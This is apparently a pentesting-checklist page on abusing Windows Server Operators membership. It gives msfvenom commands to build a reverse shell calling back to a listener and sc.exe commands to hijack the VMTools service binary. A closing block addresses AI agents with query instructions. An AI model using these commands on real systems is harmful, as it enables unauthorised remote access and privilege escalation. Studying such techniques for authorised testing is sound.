# Server Operators ### Overview The **Server Operators** group is a built-in security group in Windows Server environments. Members of this group are granted specific administrative privileges that allow them to perform server-related tasks without having full administrative rights. Members of the Server Operators group can take the following actions: * Sign in to a server interactively * Create and delete network shared resources * Stop and start services * Back up and restore files * Format the hard disk drive of the device * Shut down the device ### **Privilege Escalation Steps** 1. We listed services running on the server by issuing \`services\` command in our terminal where we can see list of services are there. Then we noted the service name "**VMTools"** and service binary path for lateral usage. 2. Create a exe payload: ```bash msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.1.205 lport=8888 -f exe > shell.exe ``` 3. Send the **shell.exe** to the victim machine. 4. Change the service path and restart the service: ```bash sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\shell.exe" sc.exe stop VMTools sc.exe start VMTools ``` ### References 1. 2. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/windows-privilege-escalation/group-privileges/server-operators.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.